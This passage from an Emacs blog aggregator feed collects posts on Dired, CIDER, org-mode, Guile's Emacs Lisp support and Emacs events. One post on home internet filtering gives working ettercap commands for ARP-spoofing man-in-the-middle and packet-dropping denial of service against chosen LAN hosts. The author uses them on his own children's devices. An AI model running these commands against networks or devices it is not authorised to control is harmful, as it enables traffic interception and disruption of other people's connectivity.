+ Benefit from a pattern-matching style (=orderless= for me).
+ Jump to the directory that contains the file (=dired-jump=).
+ While in Dired, jump to an item using completion (=dired-goto-file=).
+ Or filter the Dired list and then find the item (=% m= potentially
  followed by =t k=).

* Interconnectedness in the Emacs space

My point is to highlight the true value of Emacs' extensibility.  Which
is realised in the connections you make between several pieces of
functionality.

And, as I already mentioned, one package does not need to know about the
presence of another /in advance/.

Your focus should be on the workflow.  On the whole system that helps
you get things done with Emacs.  Because that is what your actual
experience is about.  You benefit from the set of /emergent qualities/
that become available in the combination of otherwise disparate pieces
of functionality.

Let me stress the importance of interconnectedness in the Emacs space by
showing you another quick demo that combines three distinct packages
that were not developed for the express purpose of being combined
together:

+ =elfeed= for reading RSS/Atom feeds.
+ =bongo= for managing media files or links.
+ And my own experimental note-taking system (=usls=).

Finally, this entire presentation is made possible by combining several
tools:

+ =org-mode=
+ =olivetti-mode=
+ =org-tree-slide-mode=
+ =variable-pitch-mode=
+ my own commands for setting fonts
-1:-- Why Emacs itself is my “favourite Emacs package” (Post)--L0--C0--October 21, 2020 12:00 AM

Sacha Chua: 2020-10-19 Emacs news

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.

-1:-- 2020-10-19 Emacs news (Post Sacha Chua)--L0--C0--October 20, 2020 04:04 AM

Irreal: Programmatic Programming with Graphviz

Correl Roush has a very nice post that beautifully illustrates the idea of writing code to write code. It’s a tremendously powerful idea because it lets you leverage some other program or programming language to do a task that requires specialized knowledge to code or is otherwise too hard to do directly. Examples that I’ve used are writing code to generate troff source as an intermediate to producing typeset output and code to generate graphviz source as an intermediate to generating a graph.

Roush gives us a nice example of generating graphviz (dot) source code to produce a nice looking graph. The particular problem she’s addressing is building a tool that you can point at a git repository and have it produce a nice graph of the commits. That seems unreasonably hard if you approach the problem ab initio but is very tractable if you leverage git and graphviz to do the hard work. Git can produce a topologically sorted list of commits and graphviz can do all the drawing of the graphs. All Roush has to do is add some glue code.

Roush decided to work in elisp and builds up her application step by step. She starts by showing the dot input she wants to produce and then writes the code to produce it. By iterating through more complicated graphs until she gets the final result, she shows to build the application iteratively, a programming method that I especially like.

I also like the way Roush uses data abstraction. Her list-based implementation may or may not scale to huge git repositories but her use of data abstraction makes it almost trivial to move to a more efficient implementation if required.

-1:-- Programmatic Programming with Graphviz (Post jcs)--L0--C0--October 19, 2020 04:57 PM

Diego Zamboni: My Doom Emacs configuration, with commentary

I switched from my hand-crafted Emacs config to Doom Emacs some time ago, and I am very happy with it. This is my full, working Doom Emacs config in literate form.
-1:-- My Doom Emacs configuration, with commentary (Post)--L0--C0--October 19, 2020 07:07 AM

Tory Anderson: Emacs in Emacs: A triumph for EXWM

Previously I’ve talked about the inability to refer to my code screens from within exwm if I’m on a video call in my browser; it shows the option fo other browser windows, and the option of the whole screen, but not an emacs buffer. The solution is simple and beautifully recursive: run emacs within your exwm emacs. Do what? Run emacs within your main exwm emacs session. M-S & emacs.
-1:-- Emacs in Emacs: A triumph for EXWM (Post)--L0--C0--October 19, 2020 12:00 AM

Brett Gilio: EmacsConf 2020 & My Submission

Supporting Our Community

The GNU Emacs community is once again holding EmacsConf! This (mostly annual) online conference has been a centerpoint for GNU Emacs lovers, users, and supporters as we can come together and identify our point of unison. EmacsConf is the moment where we can share what it is about this extensible, and free software powertool of 40-years that makes it so dear to us. Thanks to the work of Amin Bandali et al., we are afforded yet another opportunity to share the successes, and discuss the pain points of this incredible Lisp environment.

With GNU Emacs 27.1 being in the background of 2020, we have a unique opportunity to workshop and showcase yet another iteration of this environment. Additionally, we will hopefully see demonstrations of up and coming features that are working on alternate branches, and hopefully merged into GNU Emacs 28.

This year will be particularly exciting, with the conference spanning two days and many high quality submissions (so I hear). The format will resemble EmacsConf of the previous year. Presumably it will open with a panel of leaders in the development and community organization of GNU Emacs (likely with Sacha Chuaproviding the community update, and one of the maintainers providing the development update). This will likely be followed by traditional format presentations, and lightning talks from the users of GNU Emacs discussing ideas of how specific aspects of GNU Emacs enhances their computing.

If you are a GNU Emacs user, or somebody curious about GNU Emacs (or Lisp) it is of great importance that you consider supporting EmacsConf by attending. The best thing we can do to support this conference is to talk about it! Share the links with your friends, especially if they do not use GNU Emacs. This will vitalize a possibility of more people joining this lively-yet-insular community, and ensure that GNU Emacs is carried into the future.

It is likely most of the content in EmacsConf will be prerecorded, with the presenter giving a live Q&A on IRC. You will be able to join the discussion at #emacsconf on chat.freenode.net. You can join the channel from your favorite IRC client (or via https://chat.emacsconf.org/).

My Submission

Awhile ago, I submitted a proposal for a lightning talk. Recently, I learned that my proposal has been accepted! I have never given a talk at a conference before, and I am both excited and nervous about the prospect. The topic I had in mind was to present about a recent project of mine which makes use of Org-mode, called org-webring.

In preparation for the conference, other contributors and I have been polishing org-webring for demonstration. We have implemented some fancy, but not distracting CSS as well as post-pinning support. There remains some needed work on adding HTML tag exceptions to the sanitizer (which is currently rather abrasive), reducing code duplication, making post-pinning a little smarter about variations in URLs, and polish up the planet functionality.

Additionally, I am looking forward to examining the code, how the HTML is being generated, and why such a utility may be useful for enhancing your webpage (even if you are not using org-pubish.el for your website).

If you are using org-webring on your webpage, I am looking for examples to include in my presentation! I would love to see it used with variations in the provided stylesheet, and in creative contexts. Please send me an email to brettg@gnu.org!

The Presentation

Sometime after the conference the videos will be published for the public to enjoy. Once that happens, a video of my talk will be found somewhere around here ;).


Have a response?

Responses and discussion pertaining to any of the blog entries on my website are welcome! Start a discussion on the mailing list by sending an email to ~brettgilio/blog-discussion@lists.sr.ht.

Errata:


-1:-- EmacsConf 2020 &amp; My Submission (Post Brett Gilio (brettg@gnu.org))--L0--C0--October 18, 2020 08:50 PM

Alvaro Ramirez: Emacs: org block complete and edit

18 October 2020 Emacs: org block complete and edit

I quickly got used to Emacs org block company completion. I did, however, almost always found myself running org-edit-special immediately after inserting completion. I use C-c ' for that. That's all fine, but it just felt redundant.

Why not automatically edit the source block in corresponding major mode after completion? I think I can also get used to that!

automatic.gif

Or maybe the automatic approach is too eager? There's also a middle ground: ask immediately after.

prompted.gif

Or maybe I don't want either in the end? Time will tell, but I now have all three options available:

(defcustom  company-org-block-edit-mode 'auto
   "Customize whether edit mode, post completion was inserted."
   :type '(choice
          (const  :tag  "nil: no edit after insertion" nil)
          (const  :tag  "prompt: ask before edit" prompt)
          (const  :tag  "auto edit, no prompt" auto)))

The new option is now in the company-org-block snippet with my latest config.

-1:-- Emacs: org block complete and edit (Post Álvaro Ramírez)--L0--C0--October 18, 2020 05:38 PM

Irreal: Emacs Shells

One of the things that’s harder than it should be in Emacs is embedded shells. You can type Meta+x shell and sort of have a shell. Except it doesn’t work very well. There are other options but it can be really confusing for the n00b or even a semi-experienced user not familiar with invoking shells from Emacs.

Derek Taylor has a video that explains and compares Emacs shells. He—rightly in my opinion—rejects the shell and ansi-term command as basically unusable for non-trivial commands. Until fairly recently there wasn’t a good solution if you wanted a traditional shell.

As Taylor says, that has recently been remedied by the introduction of vterm. It requires the relatively new module system but solves most of the problems for those who want to have a “normal” Unix shell. It solves all the problems with shell and ansi-term and lets you run a full-function shell from within Emacs.

But that’s not all, of course. There’s also eshell. It’s both less and more than a Unix shell. Some things don’t work as well but eshell has capabilities well beyond those of traditional shells. Taylor demonstrates some—but not all—of those capabilities. There are others that he doesn’t demonstrate.

The video is 17 minutes, 20 seconds long—a bit shorter if you skip the shoutouts at the end—so you’ll have to schedule some time. If you’ve been confused by Emacs shells, take a look at Taylor’s video. It’s a good summary.

-1:-- Emacs Shells (Post jcs)--L0--C0--October 18, 2020 05:16 PM

Emacs Notes: xr: A new weapon for your regex arsenal

There is a new tool for grokking Emacs regular expressions. It is called xr[1], and it converts string regexp to rx[1] notation. xr is very new (even as of late 2020). Unless you have been tracking GNU ELPA in the last 2 years, it is unlikely that you are familiar with it. So, don’t dismiss … Continue reading xr: A new weapon for your regex arsenal
-1:-- xr: A new weapon for your regex arsenal (Post Emacks)--L0--C0--October 18, 2020 08:57 AM

Bryan Murdock: Effectively Internet Filtering in 2020

(To skip my rambline intro and get to the nitty gritties, search this page for, "After that long introduction")

In college, back when the internet was young, I hated the clumsy ineffective internet filtering that was in place on campus. It often blocked sites that were perfectly fine, and did not catch all the sites of the type that they were trying to block. Fast forward 10 years or so and I saw my children stumbling upon some content that I didn't want them to see on my unfiltered home internet and my attitude changed a bit. Back then web filtering was pretty easy. Nothing was encrypted and DansGuardian was the go-to tool. You set up a transparent web proxy and DansGuardian would scan the entire content of every website that you downloaded in your home. Incriminating words and phrases would trigger its blocking and it would replace the website you were downloading with an explanatory message. The beauty was that there was no need to scour the web, categorize every website in the world, and maintain lists. It still had its false positives and if a website hand objectionable images but otherwise benign text there was nothing it could do, but it took the edge off the raw internet.

Today, it's not so easy. The HTTPS Everywhere campaign bothered me at first. It felt unnecessary, and it most definitely broke my DansGuardian filtering. I have since come to understand the importance and necessity of HTTPS and I'm very glad that Let's Encrypt has made it easy for all of us to use it. But I do still have kids.

DNS filtering came to the rescue, first with OpenDNS, and now I use CleanBrowsing. It's pretty good, but sometimes I want more control. One night our school had a parent-night presentation about internet safety for kids and they had invited some vendors to pitch their wares. One of them was RouterLimits. They had a small box that you simply connected to your network and it would filter internet traffic based on categories or individual sites you listed. No software or configuration of other hosts or your router required. It could also enforce time windows with no internet. "How is this possible when this box is just another client on the LAN?" I pressed their salesman. It was a small company and I think he was also an engineer because he realized I was one, and he slyly said to me, "ARP spoofing."

"That's evil!" I instinctively replied. And then I thought a little more about it and realized it was evil. Evil genius! I bought one right there. Their model was great. Pay $80 for $5 worth of hardware and you get their service for life. Plug the little box into your LAN and connect to their web service. The little box collects a list of hosts on the LAN by paying attention to broadcast traffic, then it floods each host with ARP replies to tell them all that it is the gateway and begins its Man in the Middle attack. If a kid tries to visit badsite.example.com, or any site during the time window when internet is configured to be off for their device, the RouterLimits box sees that and just drops the packet. If a kid tries to visit goodsite.example.com, the RouterLimits box simply forwards the packet along to the actual gateway. Simple and very effective.

The schedule was the thing I loved the most. I had never had that with DansGuardian or CleanBrowsing alone. Sadly, RouterLimits was bought by a bigger company that changed the business model to a yearly subscription. Also, right about the same time, the RouterLimits box lost its ability to block my Roku for some reason. Kids were watching Netflix late into the night on school nights again, dang it. I worked with the RouterLimits support team a bit, but they couldn't figure out what was going on. I wasn't super motivated to debug it myself, because I didn't want to start paying a regular fee for this service anyway.

I still wanted my kids kicked off the internet at a decent time on school nights, though, so I started looking for solutions. The first thing I tried was a pi-hole. It doesn't have scheduling built-in, but I was able to hack together a script that modified the pi-hole database directly to put my kids' devices into a group that had a blocklist that filtered everything. That mostly worked, but it was really a hack. And then my raspberry pi's SD card died and I didn't have a backup. I started looking for another solution. I remember ARP spoofing and did a little research. Sure enough, there is a tool called ettercap that make it pretty easy, especially if you just want to block everything.

After that long introduction, some nitty gritties. To run ettercap in text-mode and see what it can do, run this command:

sudo ettercap -Tq

Play around with it a bit, it's pretty cool.

To filter (perform a Man in the Middle Attack), you'll want to scan and save a list of hosts on the LAN, like so (change the 1000 to your user ID):

sudo env EC_UID=1000 ettercap -Tqk lan-hosts

To man-in-the-middle a host with IP 192.168.1.193, and if your gateway is 192.168.1.1, run this:

sudo ettercap -Tq -M arp:remote /192.168.1.1// /192.168.1.193//

For me that didn't really do anything because it simply forwarded the packets it was intercepting on to the gateway. To do something with the packets ettercap is intercepting, you need to create a filter. My filter is simple, just drop every packet:

drop();

Put that in a text file named drop-all.ecf and run this to compile the filter

etterfilter drop-all.ecf -o drop-all.ef

You can read the ettercap-filter man page for more information about what you can do. I image the RouterLimits box had some more interesting filters (assuming they were using ettercap).

Once you have your filter compiled, add it to the above ettercap command like so:

sudo ettercap -Tq --filter drop-all.ef -M arp:remote /192.168.1.1// /192.168.1.193//

You have successfully performed a Denial of Service attack against 192.168.1.193. If you have, for example, two kids devices you want to block, you need the lan-hosts file you made earlier, and you do this:

sudo ettercap -Tz -j lan-hosts --filter drop-all.ef -M arp:remote /192.168.1.1// /192.168.1.193\;192.168.1.221//

You can add as many ip addresses as you like to list, separated by semi-colons. As far as I can tell, they all need to be listed in lan-hosts too. I believe you could use MAC addresses instead of IP addresses, but I have my router giving out fixed IP addresses to all my kids devices (that was to make the pi-hole hack work), so I just use the IP addresses.

All that's left is to run ettercap with --daemon, make a cron job or systemd timer to start and stop it at the times you want to block your kids' internet access, and you are done! It just so happens that I have written an ansible playbook that does all this for you. You'll have to modify lan-hosts and the internet-stop.service to use your own devices MAC and IP addresses, then run ansible-playbook to deploy this to a raspberry pi (or some other linux box on your LAN that you leave on all the time) and you are good to go.

P.S. This even block the Roku. ettercap couldn't detect the Roku on my LAN like it could other hosts for some reason, so that's probably why Router Limits couldn't block it, but once I manually entered the Roku's IP and MAC into the lan-hosts file, ettercap was able to DoS it just like all the other hosts.

-1:-- Effectively Internet Filtering in 2020 (Post Bryan (noreply@blogger.com))--L0--C0--October 17, 2020 03:30 PM

Tory Anderson: How to send an interrupt without C-c C-c?

Using exwm with emacs-in-emacs I sometimes make a mistake and start a shell-process going that I need to stop. However, C-c is grabbed by my parent exwm session and so doesn’t send anything to my shell. How can I do this manually? Answer C-c C-c is short for comint-interrupt-subjob Resources https://www.reddit.com/r/emacs/comments/ja97xs/weekly_tipstricketc_thread/g8xu647?utm_source=share&utm_medium=web2x&context=3
-1:-- How to send an interrupt without C-c C-c? (Post)--L0--C0--October 16, 2020 12:00 AM

Manuel Uberti: Reliable REPL switching and buffer loading with CIDER

As a Clojure developer one of the most important packages in my everyday Emacs usage is CIDER. There are many things to love about it, chief among them the great interactive code evaluation and a sweet integration with popular Clojure tools. I still haven’t played with its debugging facilities, but yes, I know I should.

However, there is something that has been bothering me for quite a while: REPL switching and buffer loading. I cannot pinpoint the exact moment when these seemingly simple operations have become so unreliable, but I still remember when switching to the correct REPL buffer according to the file in front of me used to work as expected and loading a buffer didn’t require dealing with sessions first.

Let me give you more details before this writing starts to look like a random rant. My projects are usually web applications, which means I have to write both Clojure and ClojureScript. The Clojure side can be backed by leiningen or a deps.edn file, and we are set on shadow-cljs for ClojureScript. The first thing I normally do is jack-in with C-c C-x j j and then bring up the dedicated ClojureScript REPL with C-c C-x j s. Opening the browser and navigate to something along the lines of localhost:3000 finalises the process of setting up the ClojureScript REPL. That’s it, another good day of coding can begin. And soon enough frustration follows.

I tend to move from Clojure to ClojureScript files and vice versa quite a lot, and hitting C-c C-z frequently results in an unpredictable behaviour. Sometimes the REPL of the expected type pops up, sometimes the other one appears, sometimes I get a message about a missing REPL in the current session. Manually linking the current buffer to the correct REPL with C-c C-s b seems to fix the problem, but it’s only a matter of time. It takes a couple of buffer switching operations to bring the issue back. It is as if the link between the buffer and the REPL has vanished. Even worse, without that link I can forget about C-c C-k to load the buffer.

To overcome my frustration, I sat back and looked at how exactly I interact with CIDER:

  • I only deal with one project at a time
  • I need at most two running REPLs
  • I don’t really care about firing up dedicated REPLs for other projects. If I change project, I simply close every buffer of the current one and start afresh

This made me realise that the whole CIDER session management is too much for my basic needs.

(defun mu--cider-repl-regex (type)
  "Return the regexp to get the CIDER REPL based on TYPE."
  (if (eq type 'clj)
      "\`*cider-repl .*clj[*]"
    "\`*cider-repl .*cljs"))

(defun mu--cider-repl-buffer-name (type)
  "Get buffer from `buffer-list' according to TYPE."
  (let ((regex (mu--cider-repl-regex type)))
    (car (seq-filter (lambda (s) (string-match-p regex s))
                     (mapcar #'buffer-name (buffer-list))))))

(defun mu-cider-switch-to-repl (&optional type)
  "Open a CIDER REPL for TYPE.
If TYPE is not passed, open a Clojure REPL."
  (interactive "P")
  (let ((type (or type 'clj)))
    (if-let (buffer (mu--cider-repl-buffer-name type))
        (pop-to-buffer buffer)
      (message "No CIDER REPL available"))))

(defun mu-cider-switch-to-cljs-repl ()
  "Open a CIDER REPL for ClojureScript."
  (interactive)
  (mu-cider-switch-to-repl 'cljs))

Note that I changed the value of nrepl-repl-buffer-name-template to *cider-repl %j %r:%S*, so you may have to change mu--cider-repl-regex according to the value in your setup.

C-c C-z is bound to mu-cider-switch-to-repl in clojure-mode-map and clojurec-mode-map, and to mu-cider-switch-to-cljs-repl in clojurescript-mode-map. This of course means that in .cljc files I always get to a Clojure REPL, but that’s fine. The code in there has to be tested on both REPLs anyway, so it doesn’t matter which one comes up first.

Now, let’s fix C-c C-k as well.

(defun mu--cider-session-by-type (type)
  "Return the current CIDER session by TYPE."
  (let* ((regex (mu--cider-repl-regex type))
         (system (sesman--system))
         (sessions (sesman-current-sessions system '(buffer))))
    (car
     (seq-filter (lambda (s)
                   (string-match-p regex (buffer-name (cadr s))))
                 sessions))))

(defun mu-cider-load-buffer (&optional type)
  "Load the current buffer according to TYPE.
If TYPE is not passed, default to Clojure."
  (interactive "P")
  (let* ((system (sesman--system))
         (buf (current-buffer))
         (type (or type 'clj))
         (session (mu--cider-session-by-type type)))
    (sesman--clear-links)
    (sesman-link-session system session 'buffer buf)
    (cider-load-buffer buf)))
    
(defun mu-cider-load-cljc-buffer ()
  "Load the current ClojureC buffer."
  (interactive)
  (mu-cider-load-buffer 'clj)
  (mu-cider-load-buffer 'cljs))

(defun mu-cider-load-cljs-buffer ()
  "Load the current ClojureScript buffer."
  (interactive)
  (mu-cider-load-buffer 'cljs))

Just like for C-c C-z, C-c C-k is now bound to these commands according to the mode map. For the sake of completeness, I have also disabled both C-c C-k and C-c C-z in cider-mode-map in order to avoid any kind of overshadowing by CIDER.

Note that this approach works well with my intended CIDER usage. It may not be what you are looking for if you are experiencing the same problems with REPL switching and buffer loading. Still, I have been using these commands for a while now and I am happy with them. CIDER has become my trusted Clojure IDE again.

-1:-- Reliable REPL switching and buffer loading with CIDER (Post)--L0--C0--October 16, 2020 12:00 AM

Andrea: My Emacs setup for Scala development

-1:-- My Emacs setup for Scala development (Post)--L0--C0--October 16, 2020 12:00 AM

emacsninja: State of Emacs Lisp on Guile

Update: Factual corrections to Robin Templeton’s work.

Update: Added an extra set of benchmarks for Guile 3 in a Debian Sid Docker container.

Disclaimer: I don’t use Guile. I hardly know it. There are other Scheme implementations I know far better. But since Guile Emacs is a hot topic with much hopes and unproven claims, I experiment with it every now and then. All “benchmark” results here are to be taken with caution, they’ve been created using Guile 2.2.6 and Emacs 26.3 on a Thinkpad X230t running Arch Linux.

With that out of the way, laurus from #emacs[1] reminded me that one of the reasons why Guile Emacs was possible in the first place is Guile’s language tower, with Emacs Lisp being one of the supported languages. But what does that mean? How complete is the Emacs Lisp support? What can it be used for? These and a few other questions are the topic of this blog post.

In need of a spec

Standardized programming languages have the great benefit of being based on a specification one can consult whenever in doubt of how things are supposed to behave. This allows several competing implementations to be developed, with their own unique strengths and benefits. if you adhere to the standard, switching between implementations isn’t hard and can help shaking out bugs, for example when compiling your C programs with different compilers.

Things get considerably harder if your chosen language decided to forego this approach and the correct behavior is defined by it, yet this didn’t stop people from writing alternative implementations for programming languages such as Python and Ruby. Emacs Lisp got into a similar situation ever since Guile was extended to the degree of supporting Emacs Lisp as an additional language. Provided your version of Guile is new enough, you can evaluate trivial code in the REPL:

scheme@(guile-user)> (define foo 1)
scheme@(guile-user)> foo
$1 = 1
scheme@(guile-user)> ,L elisp
Happy hacking with Emacs Lisp!  To switch back, type `,L scheme'.
elisp@(guile-user)> (defvar bar 2)
$2 = bar
elisp@(guile-user)> bar
$3 = 2

So far so good. But how much of Emacs Lisp is supported? Not much apparently, many common functions like message and error are unbound. It doesn’t seem possible to do anything with buffers or files either. This greatly limits the possibilities of writing useful scripts in Emacs Lisp[2]. One way of determining what exactly is supported would be consulting the source code, but where’s the fun in that when you could instead test it programmatically, thereby creating an executable spec…

Generating the spec

The usual test approaches fail me. Reading test inputs via stdin with read-string? Accessing the arguments with argv? Reading from a file with insert-file-contents? Obtaining an environment variable with getenv? None of that is supported. At least you can print to stdout with princ. I went for a slightly different approach instead, obtain a list of functions/variables[3] in a minimal Emacs environment, then generating a test file that checks their existence and prints a test summary. Here’s the code generation part:

(defun printf (fmt &rest args)
  (princ (apply 'format fmt args)))

(printf ";; elisp spec adherence test
(defvar passed 0)
(defvar failed 0)
(defun test-sym (pred sym)
  (if (funcall pred sym)
      (setq passed (1+ passed))
    (setq failed (1+ failed))))
(defun test-fun (sym) (test-sym 'fboundp sym))
(defun test-var (sym) (test-sym 'boundp sym))\n\n")

(mapatoms
 (lambda (atom)
   (when (fboundp atom)
     (printf "(test-fun '%S)\n" atom))
   (when (and (not (keywordp atom)) (boundp atom))
     (printf "(test-var '%S)\n" atom))))

(printf "\n")
(printf "(princ \"Passed: \")\n")
(printf "(princ passed)\n")
(printf "(terpri)\n")
(printf "\n")
(printf "(princ \"Failed: \")\n")
(printf "(princ failed)\n")
(printf "(terpri)\n")

Assuming it’s been saved as gen-elisp-spec.el, the executable spec itself is generated with emacs -Q --batch --script gen-elisp-spec.el > elisp-spec.el. Here’s a test session using Emacs and Guile:

[wasa@box ~]$ time emacs -Q --batch --script elisp-spec.el
Passed: 9567
Failed: 2
emacs -Q --batch --script elisp-spec.el  0.10s user 0.02s system 99% cpu 0.117 total
[wasa@box ~]$ time guile --language=elisp elisp-spec.el
Passed: 137
Failed: 9432
guile --language=elisp elisp-spec.el  77.62s user 0.27s system 103% cpu 1:15.04 total

This is kind of surprising. I didn’t expect Emacs to fail its own test and didn’t expect Guile to implement this little either. Most surprising is the abysmal speed of the test[4], I’m looking forward to anyone being able to explain that part to me. Here’s one more test using the official Debian Sid Docker image with Emacs 26.3 and Guile 3.0.2:

root@d27668492764:/# time emacs -Q --batch --script elisp-spec.el
Passed: 9108
Failed: 2

real    0m0.104s
user    0m0.097s
sys     0m0.007s
root@d27668492764:/# time guile --language=elisp elisp-spec.el
Passed: 137
Failed: 8973

real    6m20.950s
user    10m32.294s
sys     0m7.846s

This is not exactly an improvement. At least the numbers are small enough to print out the offending symbols, for Emacs it’s atom and printf (which polluted the test environment), for Guile I’ve taken the liberty of annotating the list:

;; binding
let let*
;; functions
lambda apply funcall
;; evaluation
eval load eval-and-compile eval-when-compile
;; sequences
aref aset make-vector nth
;; sequencing
progn prog2 prog1
;; iteration
dolist while
;; control flow
if when unless cond
;; short-circuiting
or and not
;; explicit nonlocal exit
throw catch
;; exceptions
signal condition-case unwind-protect
;; input
read-from-minibuffer
;; output
prin1-to-string print princ send-string-to-terminal terpri
;; cxr
car cdr caar cadr cdar cddr
car-safe cdr-safe
nthcdr
;; associations
assoc assq
;; search
member memql memq
;; destructive list processing
nreverse setcar setcdr rplaca rplacd
;; other list processing
cons list make-list `
mapcar mapc
append concat
reverse
length
;; symbols
defconst defvar defun defmacro
get put
fset set setq setplist
symbol-function symbol-name symbol-plist symbol-value
intern make-symbol
fmakunbound makunbound
quote function
;; plist
plist-get plist-put
lax-plist-get lax-plist-put
plist-member
;; strings
string string-match substring
upcase downcase
;; predicates
zerop floatp stringp numberp integerp wholenump
boundp fboundp functionp symbolp
consp listp nlistp
atom null
;; math
1+ 1-
fceiling ffloor ftruncate fround float
abs
min max
;; comparators
> < >= <= /= =
eq eql equal
string-equal string=
;; numerical operators
+ - * %
;; misc
random

Some notable omissions and differences:

  • No division. Most likely incompatible with Scheme’s numeric tower.
  • Input is read with read-from-minibuffer, not read-string.
  • send-string-to-terminal is unusual to have, but most likely the primitive output function.
  • string-match is nice to have, but of limited use without match-string.
  • prin1-to-string exists, prin1 doesn’t.
  • print doesn’t add newlines and behaves like prin1 should.

To do anything outside of textbook exercises you’d need to define extra primitives. Guile’s module/language/elisp/boot.el shows how to apply a band-aid on some of the previous shortcomings:

(fset '/ (@ (guile) /))
(fset 'read-string 'read-from-minibuffer)
(fset 'prin1 (@ (guile) write))
(defun print (object) (prin1 object) (terpri))

You could write more of it to reach that goal of using Emacs Lisp as scripting language outside of Emacs, but need to write Scheme to get there. Why not just use Scheme? Why invent a new runtime? The effort would be comparable to what node.js did for Chrome’s JavaScript engine, except with a far weaker sales-pitch.

What does this mean for Guile Emacs?

What I’ve shown above is barely sufficient to bootstrap an Emacs on top of it. Guile Emacs requires a customized version of Guile and Emacs, then loads up the supporting Emacs Lisp files to do the rest. There are more incompatibilities, like called-interactively-p being stubbed out. Extending the presented rudimentary spec to contain actual tests would help with tracking progress and usability. It might even improve the overall quality of GNU Emacs itself, provided that the core developers are on board and believe in the idea. I’ve briefly searched emacs-devel for previous discussion on the topic, but only found bikeshedding about Guile Emacs itself, so anyone who feels strongly about the subject, feel free to start a discussion there!

With regards to Guile Emacs itself, the situation is trickier. The above repositories have not been touched for five years, with Robin Templeton being the sole contributor for five Google Summer of Code events. Even though the work is far from complete, it is impressive what a college student managed to do under supervision of Guile’s maintainer Andy Wingo and Ludovic Courtès. Further advancements require similarly motivated individuals to participate in the Guile community and become part of the effort, much like with other free software projects. It’s tempting to take a shortcut like donating to other developers, but unless they’ve figured out a way of converting that money into equivalent work, there will be little connection between what you give away and what they do in return. This again is a topic worth discussing, preferably with the people that can make a change.

[1]laurus did some research as well, you can find an interesting discussion on the #guile channel: http://logs.guix.gnu.org/guile/2020-05-16.log
[2]At least you could now solve SICP in Emacs Lisp with less footguns: You have bignums, lexical scoping by default and TCO!
[3]This isn’t exactly correct, what’s tested for is whether the symbol has its function/value slot bound which may contain other things, for example macros and keywords.
[4]Consider that people like to advocate for Guile Emacs with the argument that it will make for a faster Emacs. While this may hold true in the long term, it’s nowhere near close to that yet. Here’s hoping that Guile 3 will alleviate some of the pain…
-1:-- State of Emacs Lisp on Guile (Post Vasilij Schneidermann)--L0--C0--October 15, 2020 07:58 PM

Irreal: A Medievalist Uses Emacs

The title almost sounds like something you’d see headlining a parody but it turns out that a medievalist using Emacs is really what this post is about. Joseph R. Johnson is a medievalist at Georgetown who spends a great deal of his time transcribing medieval texts.

That’s harder than you might think—if that’s possible—because different scribes produced subtly different renditions and because they used a lot of abbreviations similar to present day contractions (like “don’t” for “do not”) but not as deterministic as today’s contractions. Johnson’s post has an example that shows how complex those abbreviations can be.

Because the abbreviations can be ambiguous, Johnson puts the letters that the diacritical marks represent in parentheses. An example is v(ost)re where the “ost” in parentheses is represented by a diacritical mark. The problem is that all those parentheses were hard on his hands and he was worried about RSI (he should try Lisp).

The point of this long story is that Johnson is an Emacs user who took the time to learn a little Elisp so that he could leverage its power to ease his transcribing. He implemented an Emacs minor mode that implements easy to type shortcuts that save him from having to type all those parentheses. The post shows several iterations of his efforts.

I love stories like this because it makes the important point that if you deal with text you should be using Emacs. As others have said, Emacs is not so much an editor as it is a framework for dealing with text. That may include editing but it also includes things like email, RSS, playing music, and who knows what. As most of you know, I think of Emacs as a lightweight Lisp Machine, which means, of course, that you can program it to do almost anything. Johnson’s use of Emacs to help his transcription of medieval texts is a case in point.

-1:-- A Medievalist Uses Emacs (Post jcs)--L0--C0--October 15, 2020 06:11 PM

Raimon Grau: An emacs' Feature Development

So, in https://lists.gnu.org/archive/html/emacs-devel/2020-10/msg00691.html there's a proposal for an optimization in emacs, adding empty-directory-p so that elisp users don't have to (null (directory-files dir-name nil 'nodots t))).

And it makes sense to have a faster way. The person that proposed this improvement proposed a solution too. And it was a good one!

Then, Eli proposed something else. Some alternative implementation that:

  • Allows to solve the problem at hand, 
  • Reuses existing code by adding a 'limit' to directory-files
  • Easier to implement
  • Makes the implementation more stratified. You can still create empty-dir-p by calling directory-files
  • in case of passing that limit count to directory-files, we still get a list of files instead of a boolean. It's richer information, in case we need it.

After that, the conversation goes on by trying to figure out if the partial list of files will be useful at some point, or it's adding indeterminism and no value, and finding a balance on simplicity and usefulness. 

All in all, a very good end-to-end conversation about a feature, its implications and its implementations with its corner cases and usability. Every time I see these conversations happening I feel this joy... I love when they happen in my team.


PS: Needless to say, this is a "simple" feature compared to bigger and more complex discussions going on in emacs-devel (which are hard problems that have no perfect solutions). But it's a good case study and there's something to be learned there about approaches, discussions, and building together.

Thanks to everyone involved!


-1:-- An emacs' Feature Development (Post Raimon Grau (noreply@blogger.com))--L0--C0--October 15, 2020 08:53 AM

Andrea: TypeScript, functions and this

-1:-- TypeScript, functions and this (Post)--L0--C0--October 15, 2020 12:00 AM

Adrien Brochard: Announcing the Emacs User Survey 2020

Announcing the Emacs User Survey 2020

Announcing the Emacs User Survey 2020

Link

The first iteration of the Emacs User Survey is currently on track to open up Monday October 19th 2020.

A huge thanks to everyone who gave feedback and suggestions, and particularly u/yyoncho who had put together a great list of questions on r/emacs.

1Why

For the community to understand itself better.

2Where

https://emacssurvey.org

3When

The survey will be open from Monday October 19th to Monday November 30th.

4How

Two ways to submit the survey:

  • online form
  • filling out a template and emailing it back

5Who

Questions or comments can go to contact@emacssurvey.org

6What you can do to help

Once the survey is open, you can
  • fill it out!
  • most importantly, share it with your Emacs friends!
    • blog about it
    • email your colleagues who also use Emacs
    • etc
-1:-- Announcing the Emacs User Survey 2020 (Post)--L0--C0--October 14, 2020 03:26 PM

perlancar: Org stuffs: 001: Moving/removing done todo items

About this series: A collection of short blog posts related to manipulating Org documents using Perl. This is the first article. See the whole series.

A bit of history. I started using org-mode in 2011. Emacs I had been using much earlier, but as also happened with many others, org-mode really clinched the deal. Slowly but sure, I migrated my notes, and later on, my todo list, into this format. Also in that year I started the Org::Parser project. It’s not perfect, and at one point educated_foo said it was pointless because just like only perl can parse Perl, only emacs’ org-mode can truly parse Org. However, I manage to do some useful tricks with the module. (BTW, I missed the guy.)

Being a heavily procrastinating and utterly lazy person, with lots of ideas and abandoned projects, my todo file grew to thousands of items (last count, 4600+ undone todo items and 1900+ done dones).

I currently organize my todo.org like the following: there are hierarchical categories which I write strictly as level-1 headings, with subcategories written inline in the heading using “cat > subcat > subsubcat” notation. I keep these level-1 headings sorted. Example:

* 00unorganized [0/0]
* finance [0/0]
